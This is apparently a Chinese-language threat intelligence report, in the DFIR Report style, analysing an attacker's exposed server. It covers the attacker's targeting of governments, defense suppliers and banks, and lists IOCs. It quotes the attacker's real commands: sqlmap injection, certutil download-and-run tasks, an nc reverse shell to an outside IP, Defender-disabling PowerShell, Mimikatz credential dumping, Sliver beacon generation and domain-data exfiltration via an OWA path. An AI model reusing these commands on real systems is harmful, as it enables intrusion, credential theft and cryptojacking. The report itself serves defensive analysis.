今天这篇报告与thedfirreport以往的报告内容有些许区别。我们获取到了攻击者的主机数据!因此我们可以看到与以往不同角度的分析结果。在今年11月份的时候,我们观测到一台存在目录浏览漏洞的互联网服务器,通过服务器上的工具、日志和其他模块,我们分析出了攻击者的相关活动和攻击成功的受害组织机构。
据我们分析,这个攻击者的大部分攻击活动并不是基于经济动机,因为他们一直针对政府和国防供应商的服务进行漏洞探测。然而,在攻击一些金融机构的网站时,他们也会进行挖矿,这也算一小部分基于经济动机发起的攻击。
我们基于钻石模型(受害者、技战术、攻击者、基础设施)的思路整理出了这份报告,攻击者使用了大量的开源工具和框架。例如在渗透时使用了sqlmap和ghauri。在漏洞利用和后渗透阶段使用了C2框架:Metasploit和Sliver。详细的渗透过程我们在下面的章节详细展开讨论。
下图是我们根据攻击时间、受害者所属国家、行业的属性进行聚类汇总的结果。
在我们分析出的时间范围内,已知的受害组织机构分类如下:
政府
国防供应商
金融机构(银行、基金和加密货币)
关键基础设施
电信服务商
色情服务
VPS 供应商
安全公司
教育机构
媒体和政治团体
在2023年1月到2023年10月期间,攻击者以印度政府和国防供应商为主要攻击目标进行攻击活动。
根据攻击者使用的nuclei工具扫描结果,我们发现攻击者将扫描结果进行了明确的分类,有单独域名,有相关组织的详细子域或者整个行业的范围。
攻击者以印度和以色列的政府和国防供应商作为主要目标,例如下面的攻击目标就是以色列政府的域名:
除此之外,国防相关的供应商也是攻击者的攻击目标,例如下面的清单:
武器、弹药和导弹
军用飞机和车辆
军用通讯设备
无人机
ID卡
航空航天和卫星设备
攻击者还对银行和金融机构进行了扫描,并将结果保存在其主机上的“crime”和“cryptz”文件夹中。
攻击者同时也会攻击政府目标所在国家中的色情服务网站:
我们在nuclei的扫描结果中名为hacking_bad_guys的文件夹下发现了唯一保存色情网站域名的扫描结果。
攻击者攻击这些网站的目的,可能是想要收集用户信息,以便在攻击其他目标的时候使用,但我们并没有证据来证明这个行为。
以下是一些受到攻击者瞄准的政治团体和媒体组织:
Hizb ut–Tahrir – 伊斯兰原教旨主义组织
巴洛奇共和党 – 巴基斯坦被禁止的组织
辛德德什运动 – 辛德德什革命军(SRA)
泰瑞克·贾法里亚 – 什叶派政党
乌马尔传媒 – 塔利班运动的媒体机构
ФедералПресс (FederalPress) – 亲俄罗斯的媒体机构
Новые Известия (Novye Izvestia) – 俄罗斯小报
Новая газета (Novaya Gazeta) – 俄罗斯独立和批评政府的媒体机构
自由之家 – 非营利智库
攻击者扫描了各种网络安全公司的网站,包括 Group-IB、Mandiant、Horizon3、Kaspersky、Qualys 和 CrowdStrike:
攻击者还扫描了美国的大学,如密歇根州立大学、麻省理工学院和哈佛大学。俄罗斯的两所学校,莫斯科国立大学和HSE大学。
我们还观察到攻击者对电信服务商进行扫描。目标包括Grameenphone和Teletalk(孟加拉国)、Jazz(巴基斯坦)、Bezeq和Cellcom(以色列)。通过nuclei扫描发现的漏洞包括以下CVE列表:
利用 httpx 工具,攻击者在ASNs范围内进行了大规模扫描。httpx工具旨在识别暴露在互联网上的Web服务并指纹识别其后台运行的内容。
echo "AS4758" |httpx --status-code --tech-detect
echo "AS4758" |httpx --status-code --tech-detect
echo "AS142501" |httpx --status-code --tech-detect -o 142501
echo "AS17813" |httpx --status-code --tech-detect -o 17813
echo "AS55566" |httpx --status-code --tech-detect -o 55566
echo "AS55566" |httpx --status-code --tech-detect -o 55566.txt
echo "AS17813" |httpx --status-code --tech-detect -o 17813.TXT
echo "AS4758" |httpx --status-code --tech-detect -proxy socks5://localhost:1080 -o AS4748
参数 -status-code 和 -tech-detect 用于显示HTTP状态码和使用的框架(基于wappalyzer数据集)。以下是保存的 httpx 输出之一:
攻击者使用nuclei进行扫描和软件识别。我们能够从bash历史文件中看到这一活动:
nuclei -l sept24.txt -o sept24_op.txt -s critical,high
nuclei -l sept24.txt -o sept24_op.txt -s medium
nuclei -l telco_again_subfinder -o telco_again_subfinder_nuclei_scan -as
nuclei -l rac_drdo_il_govnet -o rac_drdo_il_govnet_18-sept-23_op -s critical,high
nuclei -l co_nic_gov -o co_nic_gov_proxy_output -s critical -proxy socks5://localhost:1080
torify nuclei -u mossad.gov.il -o mossad.gov.il_new
torify nuclei -u shabak.gov.il -o shabak.gov.il_new
torify nuclei -l large_scope -o large_scope -s critical,high
torify nuclei -l large_scope -o large_scope -as
以下是nuclei扫描出高危漏洞的部分结果:
利用subfinder,攻击者使用subfinder进一步扫描之前识别了目标的子域名:
subfinder -dL drones -o drone_op -silent
攻击者使用OWASP工具amass,通过使用开源数据库和API对其目标进行侦察:
我们发现了攻击者在公开目录的配置文件中使用的Shodan API token:
从bash历史中,我们可以看到攻击者使用Shodan搜索CVE-2022-42475:
shodan search 'vuln="CVE-2022-42475"' --fields ip_str,port --separator " " | awk '{print $1":"$2}'|tee -a temp123.txt
值得注意的是,这个Shodan api token至少在2022年12月初就已经在Telegram以及其他一些地方泄漏,包括Linkedin和Cracked[.]io。
T1190 渗透互联网暴露的应用
SQL注入 - 攻击者使用sqlmap(S0225)和ghauri对目标主机进行SQL注入攻击。bash历史文件记录了这些工具的执行和使用的命令:
torify sqlmap -u https://<domain>.gov.bd/admin/manage_user.php?id=1 -v 2 --delay 1.7 --time-sec 13 --tamper space2comment --risk 3 --level 5 --random-agent --no-cast --parse-errors --dbs
torify ghauri -u "https://<domain>.<domain>.in/products/all-products?category=CATMAPF0CE" --dbs
sqlmap的输出文件:
我们可以看到从admin_login表中检索到的管理员用户、密码、电子邮件、登录日期和登录时间:
在这里,攻击者从一个电力公司窃取了一个包含179个电子邮件地址的列表:
Metasploit Exploits
在Metasploit和Meterpreter的历史文件中,我们观察到攻击者使用了以下的攻击模块:
exchange_proxylogon_rce – CVE-2021-26855 CVE-2021-27065
php_fpm_rce – CVE-2019-11043
vmware_vcenter_uploadova_rce – CVE-2021-21972
Python Exploits
在bash历史中,我们观察到攻击者利用了多个Python CVE漏洞利用脚本:
CVE-2020-14882.py – CVE-2020-14882
CVE-2020-14882是一个预身份验证远程代码执行漏洞利用,针对运行在Windows或Linux上的Oracle WebLogic服务器。
成功执行后,此漏洞利用会在受害系统上创建一个Shell。会话输出的日志存放在根目录中。在此会话中,攻击者获得了nt authority\system的访问权限,并执行了一些初始系统发现操作,同时使用type命令查看了一个与目标之一的名称匹配的证书文件。
CVE-2023-25157.py – CVE-2023-25157
CVE-2023-25157是一个针对GeoServer OGC Filter服务器的SQL注入漏洞。
CVE-2023-2982.py – CVE-2023-2982
CVE-2023-2982是WordPress插件Miniorange Social Login and Register中的身份验证绕过漏洞。我们观察到攻击者创建了一个名为exploits的目录,然后克隆了此漏洞利用到其中,cd进入该目录,并尝试对目标进行漏洞利用。
CVE-2019-9978– WordPress_remote_code_execution_by_Abu
CVE-2019-9978是发现在WordPress的Social Warfare插件中的存储型XSS漏洞。我们观察到攻击者克隆然后执行此漏洞利用,对一个目标进行攻击。
struts-pwnCVE-2017-5638
CVE-2017-5638是Apache Struts中Content-Type HTTP头的参数解析错误,导致的远程命令注入漏洞。
Ghostcat – CVE-2020-1938
CVE-2020-1938是Apache Tomcat中的文件读取包含漏洞。你可以在下面看到攻击者再次从GitHub克隆了这个漏洞利用,然后尝试对目标进行攻击。
在nuclei的扫描结果中,我们看到有八个目标存在漏洞,但在bash历史中只看到攻击者攻击了其中一个系统。
phpunit.py – CVE-2017-9841
CVE-2017-9841是PHP Unit中的未经身份验证的远程命令执行漏洞。
jexboss – CVE-2015-5317, CVE-2016-3427, CVE-2016-8735, CVE-2017-5638
JexBoss是一个用于测试和利用JBoss应用服务器中漏洞的工具。它涵盖了多个漏洞,并提供了检查目标列表或网络以及利用存在漏洞主机的能力。
bash历史显示了工具在文件扫描模式下运行的迹象(即工具从提供的目标列表中检查漏洞),我们观察到了跨足11天的日志输出:
对目录中文件的进一步分析,攻击者创建了一个run.py的Python脚本,以自动化对扫描出存在漏洞的目标进行漏洞利用。
Pulse Secure Exploits
在exploits文件夹中还发现了两个bash脚本,看起来是针对Pulse Secure VPN的漏洞利用脚本。近年来Pulse Secure VPN已经有多个高风险的漏洞被发现。
pulse_secure_file_read.sh 是一个目录遍历漏洞,可能导致从防火墙中窃取会话信息,进行会话重用。
pulse_secure_2021.sh 文件实际上并不是一个漏洞利用。相反,正如TJ Null和Andy Gill在文件本身的链接中解释的那样,这个文件是一个“honeypoc”。"Honeypoc" 是一个被发布的文件,声称是一个备受关注的CVE的概念证明漏洞,但实际上是一个诱饵,其中包含一个canary token,允许作者发布关于公开可用漏洞的研究以及执行下载漏洞而没有阅读源代码的人的信息。其中的一部分是让攻击者相信脚本已经从本地硬盘中删除文件:
在进一步讨论命令与控制部分时,我们发现攻击者使用了多个框架,包括Metasploit和Sliver。通过bash和Metasploit历史记录,我们能够识别各种Metasploit的命令:
Metasploit:
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.169.6.122
set lport 4451
exploit
从Meterpreter历史中,我们观察到了攻击者使用的shell命令,该命令将为攻击者在目标系统上提供一个标准shell。
有时,他们会切换到使用PowerShell来执行特定的命令。
Sliver:
在使用服务器的过程中,攻击者生成了多个不同的Sliver beacons。
generate --mtls 192.169.6.122 --save /root --os linux
generate --mtls 192.169.6.122 --save /root --os windows
我们恢复了以下用于Windows和Linux的beacons:
T1505.003 服务器组件:WebShell
攻击者上传了weevely webshell:
http://<domain>.gov.bd/img_upload/user/ddos.php
使用留下的会话日志,我们能够确定攻击者使用WebShell来搜集主机上的敏感信息:
攻击者使用Sliver的execute-assembly加载SharPersist。
Sliver审计日志记录了提供给SharPersist的参数,这些参数用于创建一个名为HealthCheck的Windows服务,以运行经过编码的PowerShell。
解码后,我们可以看到这创建了一个反向 shell:
他们还使用sc命令为Sliver植入物创建了一个服务,以维持权限。
sc create winmo displayname=discord binpath=C:\programdata\mdsn\svchost.exe start=auto
攻击者使用Sliver上传了修改过的.bashrc文件到失陷主机,并设置了一个加密货币挖矿程序。我们能够恢复上传的文件,并可以看到下面追加的行:
所引用的 autominionlx.sh 文件是从 Sliver 服务器下载的:
随后,Sliver植入物被用来添加一个cron作业来执行该脚本:
错误消息表明bash脚本与执行xmrig有关。
通过安装xmrig并将文件复制到.tmp目录下的.atmon名称来解决这些错误消息:
现在,失陷主机已被添加到攻击者的挖矿池中:
对XMR Monero挖矿支付历史的审查显示了由该脚本执行的XMR地址的活动:
T1548 滥用提权控制机制
攻击者使用内置的Meterpreter getsystem模块,该模块使用各种技术创建SYSTEM级别的有效载荷。
在一个Meterpreter会话期间,攻击者创建了一个计划任务,以NT AUTHORITY\SYSTEM的身份启动一个有效载荷:
schtasks /create /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /sc minute /mo 30 /tn "schdsWin" /tr "cmd.exe /C certutil.exe -urlcache -f http://192.169.6.122:6770/svchost.exe %systemdrive%\\Windows\\Temp\\svchost.exe & %systemdrive%\\Windows\\Temp\\svchost.exe"
schtasks /run /TN "schdsWin"
对于一些目标,在获取了shell访问权限后,我们发现攻击者执行了LinPEAS,以尝试在失陷主机上发现提权路径。
从Metasploit命令历史中,我们观察到攻击者使用了各种Linux提权模块:
network_manager_vpnc_username_priv_esc – CVE-2018-10900
ptrace_traceme_pkexec_helper – CVE-2019-13272
cve_2021_4034_pwnkit_lpe_pkexec – CVE-2021-4034
我们在Meterpreter历史记录中捕获到了各种命令,例如禁用Microsoft Defender:
Set-MpPreference -DisableScriptScanning $True
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
powershell -c iex(Set-MpPreference -DisableRealtimeMonitoring $true)
Set-MpPreference -ExclusionProcess "explorer.exe", "cmd.exe", "powershell.exe"
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection /v EnableLUA
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
攻击者试图在他们获得访问权限的系统上伪装成各种常用的系统服务命名,这些技术被应用于Silver的beacon、任务的命名和服务的名称。伪装的beacon示例:
执行的命令如下:
sc create winmo displayname=discord binpath=C:\programdata\mdsn\svchost.exe start=auto
Meterpreter 命令历史记录:
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets
creds_livessp
hashdump
在对具有Sliver的主机进行入侵时,他们使用了下载命令从目标主机拉回ntds.dit文件:
.sliver/logs/audit.json:{"level":"info","msg":"{\"request\":\"{\\\"Path\\\":\\\"ntds.dit\\\",\\\"Request\\\":{\\\"Timeout\\\":60000000000,\\\"SessionID\\\":\\\"<REDACTED>\\\"}}\",\"method\":\"/rpcpb.SliverRPC/Download\"}","time":"2022-10-11T17:52:30Z"}
Meterpreter 命令历史记录:
dcsync_ntlm <domain>\<user>
Meterpreter 命令历史记录:
golden_ticket_create
攻击者使用PowerView模块的Find-InterestingDomainShareFile来搜索密码文件:
Find-InterestingDomainShareFile -Include *passwords*
在一次攻击者使用Sliver获取访问权限的情况下,他们随后在失陷主机上执行远程脚本:
通过恢复这个脚本,我们发现了攻击者在Linux上使用的自我传播的巧妙技术。除了禁用UFW和终止几个正在运行的服务外,脚本还会枚举主机上存储的所有私钥,解析known_hosts文件中的所有主机,以及与找到的任何密钥关联的用户名。
然后,使用此信息迭代遍历每个可能的组合,包括列举的用户、主机和密钥,尝试通过使用SSH在任何可能成功的连接上远程执行相同的脚本进行横向移动。
此处使用的脚本和IP服务基础设施已与一个被称为Sysrv-Hello的僵尸网络相关联。这在至少自2021年以来的各种攻击中都有所提到:
https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence
https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/
https://sysdig.com/blog/crypto-sysrv-hello-wordpress/
https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet
在一个主机中,攻击者使用certutil下载PowerView来运行各种发现命令。以下是Meterpreter历史中捕获到的一些命令。攻击者需要将这些命令输出到一个在Exchange服务器上提供的公共位置,以检索结果。
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 powershellintelmodule.ps1
Import-Module C:\windows\system32\powershellintelmodule.psm1
Get-Domain
Get-DomainSID
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
Get-DomainController
Get-DomainPolicy
Get-DomainController -Domain <domain>
Get-DomainUser
Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
Copy-Item -Path "C:\Windows\System32\DomainUsers.txt" -Destination "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\syslog.txt
Get-DomainUser -Identity Administrator -Properties DisplayName, MemberOf | Format-List
Find-DomainUserLocation -Domain Exchange | Select-Object UserName, SessionFromName
Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
Get-DomainGroup | Out-File -FilePath .\intelwind.txt
Copy-Item -Path "C:\windows\system32\intelwind.txt" -Destination "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\systlog.txt"
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Find-DomainShare
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
Get-DomainOU -Properties Name | Sort-Object -Property Name
Get-DomaiObjectAcl -Identity ExchangeAD -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs
在另一个受到攻击的主机上,我们看到了运维人员通常用于获取环境情况的其他常见命令。
ipconfig
echo %logonserver%
net user /domain
hostname
whoami
通过Meterpreter使用的其他发现命令包括以下内容:
systeminfo
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
netstat -ano
ipconfig
在使用Sliver时,攻击者至少执行了两次invoke-adPEAS:
powershell -c Invoke-adPEAS
在使用Sliver时,最常用的命令是"net user /domain",其次是"net user":
"net user /domain"
"net user"
在使用Sliver时,攻击者使用的其他发现命令包括以下内容:
powershell -c Get-Service
arp -a
powershell -c (Get-WMIObject -class Win32_ComputerSystem)
powershell -c Get-Domain
powershell -c echo %UERNAME%
sc query
run wmic service get name , pathname
powershell.exe -c (Get-Domain)
powershell -c (Invoke-adPEAS -Domain REDACTED.local)
powershell -c (Get-WMIObject)
net group Domain Admins /domain
echo %user%
arp -aon
Meterpreter历史中包含以下PowerShell反向Shell:
这个Shell与以下文档中记录的相同:
https://gist.github.com/dwisiswant0/9b5e78217e810e1efc5d73b3bdef8957
从Meterpreter历史记录中,我们可以看到攻击者使用了以下命令:
set payload payload/cmd/windows/powershell_reverse_tcp
exploit
分析本地Sliver数据库(.sliver/sliver.db),我们可以提取C2配置和活跃的被控主机。
Last Implant Create Time | Implant C2 Endpoint |
2023-10-19 17:58:54 | mtls://192.169.6.122 |
2022-12-22 12:00:39 | hxxp://apicalls[.]net |
2022-08-12 06:21:02 | mtls://104.200.67.3 |
我们可以查询beacons表以获取被攻陷主机的列表以及对应的C2服务器:
在数据库中,我们观察到有66个beacons连接到C2服务器。从这些连接的beacon中,我们得出了以下停留时间统计信息。
Average Dwell Time | Minimum Dwell Time | Maximum Dwell Time | Median Dwell Time |
12.83 Hours | 0 (failed beacons) | 13 Days | 1.41 minutes |
最小时间为零秒的beacon表示该beacon失败,可能是因为攻击未成功。对于其他beacon,我们观察到攻击者正在测试beacon。在审查66个beacon时,只有16个beacon的活动时间超过了五分钟。
Sliver的多人复用端口31337在192.169.6.122上是暴露的,如Shodan所示:
在我们的威胁情报服务跟踪中,观察到了以下数据。我们首次发现该服务器于2022年11月16日托管了一个Sliver团队服务器。我们一直观察到2023年2月13日。此后,我们在2023年10月9日再次观察到了Sliver的活动。该服务器在我们的数据集中仍然活跃,直到发布日期。
尽管我们没有观察到攻击者积极使用Cobalt Strike,但在opendir中发现了v4.7的一个副本。服务器日志记录了2023年4月10日从45.56.162.100进行的一次登录:
04/10 19:46:17 UTC *** neo (45.56.162.100) joined
04/10 19:48:39 UTC *** neo quit
许可文件 cobaltstrike.auth 的 MD5 值为 0c5ede28df39341763d16961a118625d。使用 authkey.pub 解密 .auth 文件时,返回以下结果:
Key: 1be5be52c6255c33558e8a1cb667cb06
End date: Aug 31 2022
Watermark: 175065ea
Version: 47
与该工具包关联的水印是0x175065ea(391144938),说明攻击者使用的是破解版
攻击者使用Meterpreter模块portfwd建立了与C2 IP的反向端口转发:
portfwd add -R -p 89474 -l 4453 -L 192.169.6.122
我们还在sliver-client.log中观察到了他们使用netcat的情况:
nc -e /bin/bash 104.200.67.3 1608 2> /dev/null
在open目录的根目录中发现了工具gost。虽然我们没有观察到攻击者使用该工具,但它可以用于在受害者和攻击者之间创建代理。
攻击者经常使用torify通过TOR网络进行代理活动。
Sliver数据库./.sliver/sliver.db包括Sliver服务器上操作员的名称和令牌。
smilevolume[.]com
apicalls[.]net
域名smilevolume[.]com是通过NameCheap于2021年12月注册的。域名apicalls[.]net是在2022年9月注册的,并且进行了信息隐私保护。
在./ssh/known_hosts中记录了6个IP地址:
166.62.10.138
146.88.26.221
202.70.80.119
103.248.61.184
43.230.203.164
104.200.67.3
在SSH指纹上进行攻击者归因关联分析,有12个与Shodan搜索匹配的额外IP地址:
"d2:da:76:47:70:80:c2:ba:9d:7a:62:36:60:d6:a1:58" port:22
攻击者使用了SSH端口转发技术。
ssh -N -D 1080 proxyuser@103.174.104.51
ssh -N -D 1080 user1@103.174.104.51
ssh -N -D 1080 user1@103.174.104.51 -p 1080
ssh -N -D 1080 pareshraval-vpnjantit.com@43.230.203.164
钻石模型——基础设施